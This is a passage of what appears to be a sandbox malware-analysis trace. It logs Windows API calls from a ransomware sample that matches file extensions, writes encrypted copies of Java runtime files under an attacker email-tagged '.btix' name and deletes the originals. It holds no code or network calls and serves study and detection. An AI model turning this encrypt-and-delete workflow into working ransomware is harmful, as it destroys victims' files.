dwMoveMethod=0x379fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.634] WriteFile (in: hFile=0x368, lpBuffer=0x41d2970*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x379fc80, lpOverlapped=0x0 | out: lpBuffer=0x41d2970*, lpNumberOfBytesWritten=0x379fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.636] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x41d2970 | out: hHeap=0x660000) returned 1 [0153.636] CloseHandle (hObject=0x368) returned 1 [0153.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.335] lstrlenW (lpString=".doc") returned 4 [0154.335] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0154.335] lstrlenW (lpString=".docx") returned 5 [0154.335] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0154.335] lstrlenW (lpString=".pdf") returned 4 [0154.335] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0154.335] lstrlenW (lpString=".xls") returned 4 [0154.335] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0154.335] lstrlenW (lpString=".xlsx") returned 5 [0154.335] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0154.335] lstrlenW (lpString=".ppt") returned 4 [0154.335] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0154.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.335] lstrlenW (lpString=".zip") returned 4 [0154.335] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0154.335] lstrlenW (lpString=".rar") returned 4 [0154.335] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0154.335] lstrlenW (lpString=".bz2") returned 4 [0154.335] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0154.335] lstrlenW (lpString=".7z") returned 3 [0154.335] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0154.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.335] lstrlenW (lpString=".dbf") returned 4 [0154.336] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0154.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.336] lstrlenW (lpString=".1cd") returned 4 [0154.336] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0154.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.336] lstrlenW (lpString=".jpg") returned 4 [0154.336] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0154.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.336] lstrlenW (lpString=".doc") returned 4 [0154.336] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0154.336] lstrlenW (lpString=".docx") returned 5 [0154.336] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0154.336] lstrlenW (lpString=".pdf") returned 4 [0154.336] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0154.336] lstrlenW (lpString=".xls") returned 4 [0154.336] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0154.336] lstrlenW (lpString=".xlsx") returned 5 [0154.336] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0154.336] lstrlenW (lpString=".ppt") returned 4 [0154.336] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0154.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.336] lstrlenW (lpString=".zip") returned 4 [0154.336] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0154.336] lstrlenW (lpString=".rar") returned 4 [0154.336] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0154.336] lstrlenW (lpString=".bz2") returned 4 [0154.336] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0154.336] lstrlenW (lpString=".7z") returned 3 [0154.336] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0154.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.336] lstrlenW (lpString=".dbf") returned 4 [0154.336] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0154.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.337] lstrlenW (lpString=".1cd") returned 4 [0154.337] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0154.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54 [0154.337] lstrlenW (lpString=".jpg") returned 4 [0154.337] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0154.337] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0154.337] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24 [0154.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.337] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=234068) returned 1 [0154.337] CloseHandle (hObject=0x398) returned 1 [0154.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20 [0154.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.337] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.338] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.338] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0154.338] GetLastError () returned 0x0 [0154.338] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x39254, lpOverlapped=0x0) returned 1 [0154.342] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x39260, lpOverlapped=0x0) returned 1 [0154.345] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.345] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x104, lpOverlapped=0x0) returned 1 [0154.345] SetEndOfFile (hFile=0x36c) returned 1 [0154.345] CloseHandle (hObject=0x36c) returned 1 [0154.345] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.345] SetEndOfFile (hFile=0x398) returned 1 [0154.347] CloseHandle (hObject=0x398) returned 1 [0154.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.347] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1 [0154.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.348] lstrlenW (lpString=".doc") returned 4 [0154.348] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.348] lstrlenW (lpString=".docx") returned 5 [0154.348] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0154.348] lstrlenW (lpString=".pdf") returned 4 [0154.348] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.348] lstrlenW (lpString=".xls") returned 4 [0154.348] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.348] lstrlenW (lpString=".xlsx") returned 5 [0154.348] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0154.348] lstrlenW (lpString=".ppt") returned 4 [0154.348] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.348] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.348] lstrlenW (lpString=".zip") returned 4 [0154.348] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.348] lstrlenW (lpString=".rar") returned 4 [0154.349] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString=".bz2") returned 4 [0154.349] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString=".7z") returned 3 [0154.349] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.349] lstrlenW (lpString=".dbf") returned 4 [0154.349] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.349] lstrlenW (lpString=".1cd") returned 4 [0154.349] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.349] lstrlenW (lpString=".jpg") returned 4 [0154.349] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.349] lstrlenW (lpString=".doc") returned 4 [0154.349] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString=".docx") returned 5 [0154.349] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0154.349] lstrlenW (lpString=".pdf") returned 4 [0154.349] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString=".xls") returned 4 [0154.349] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.349] lstrlenW (lpString=".xlsx") returned 5 [0154.349] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0154.349] lstrlenW (lpString=".ppt") returned 4 [0154.349] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.349] lstrlenW (lpString=".zip") returned 4 [0154.349] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.349] lstrlenW (lpString=".rar") returned 4 [0154.349] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.349] lstrlenW (lpString=".bz2") returned 4 [0154.350] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.350] lstrlenW (lpString=".7z") returned 3 [0154.350] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.350] lstrlenW (lpString=".dbf") returned 4 [0154.350] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.350] lstrlenW (lpString=".1cd") returned 4 [0154.350] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.350] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69 [0154.350] lstrlenW (lpString=".jpg") returned 4 [0154.350] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.350] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0154.350] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0154.350] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.351] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=242700) returned 1 [0154.351] CloseHandle (hObject=0x398) returned 1 [0154.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0154.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.351] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.351] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.351] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0154.352] GetLastError () returned 0x0 [0154.352] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0154.355] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x3b410, lpOverlapped=0x0) returned 1 [0154.359] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.359] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x10a, lpOverlapped=0x0) returned 1 [0154.359] SetEndOfFile (hFile=0x36c) returned 1 [0154.359] CloseHandle (hObject=0x36c) returned 1 [0154.359] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.359] SetEndOfFile (hFile=0x398) returned 1 [0154.361] CloseHandle (hObject=0x398) returned 1 [0154.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.361] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 1 [0154.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.362] lstrlenW (lpString=".doc") returned 4 [0154.362] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.362] lstrlenW (lpString=".docx") returned 5 [0154.362] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0154.362] lstrlenW (lpString=".pdf") returned 4 [0154.362] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.362] lstrlenW (lpString=".xls") returned 4 [0154.362] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.362] lstrlenW (lpString=".xlsx") returned 5 [0154.362] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0154.362] lstrlenW (lpString=".ppt") returned 4 [0154.362] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.362] lstrlenW (lpString=".zip") returned 4 [0154.362] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.362] lstrlenW (lpString=".rar") returned 4 [0154.362] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.362] lstrlenW (lpString=".bz2") returned 4 [0154.362] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.363] lstrlenW (lpString=".7z") returned 3 [0154.363] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.363] lstrlenW (lpString=".dbf") returned 4 [0154.363] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.363] lstrlenW (lpString=".1cd") returned 4 [0154.363] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.363] lstrlenW (lpString=".jpg") returned 4 [0154.363] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.363] lstrlenW (lpString=".doc") returned 4 [0154.363] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.363] lstrlenW (lpString=".docx") returned 5 [0154.363] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0154.363] lstrlenW (lpString=".pdf") returned 4 [0154.363] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.363] lstrlenW (lpString=".xls") returned 4 [0154.363] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.363] lstrlenW (lpString=".xlsx") returned 5 [0154.363] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0154.363] lstrlenW (lpString=".ppt") returned 4 [0154.363] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.363] lstrlenW (lpString=".zip") returned 4 [0154.363] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.363] lstrlenW (lpString=".rar") returned 4 [0154.364] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.364] lstrlenW (lpString=".bz2") returned 4 [0154.364] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.364] lstrlenW (lpString=".7z") returned 3 [0154.364] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.364] lstrlenW (lpString=".dbf") returned 4 [0154.364] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.364] lstrlenW (lpString=".1cd") returned 4 [0154.364] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.364] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf") returned 72 [0154.364] lstrlenW (lpString=".jpg") returned 4 [0154.364] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.364] lstrcmpiW (lpString1=".properties", lpString2=".btix") returned 1 [0154.364] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33 [0154.364] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.364] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=13962) returned 1 [0154.365] CloseHandle (hObject=0x398) returned 1 [0154.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20 [0154.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.365] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0154.365] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.365] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.365] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0154.366] GetLastError () returned 0x0 [0154.366] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x368a, lpOverlapped=0x0) returned 1 [0154.367] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x3690, lpOverlapped=0x0) returned 1 [0154.367] ReadFile (in: hFile=0x398, lpBuffer=0x436a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.368] WriteFile (in: hFile=0x36c, lpBuffer=0x436a020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x436a020*, lpNumberOfBytesWritten=0x379fc94*=0x116, lpOverlapped=0x0) returned 1 [0154.368] SetEndOfFile (hFile=0x36c) returned 1 [0154.368] CloseHandle (hObject=0x36c) returned 1 [0154.368] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.368] SetEndOfFile (hFile=0x398) returned 1 [0154.369] CloseHandle (hObject=0x398) returned 1 [0154.369] SetFileAttributesW (lpFileName="C:\\Program 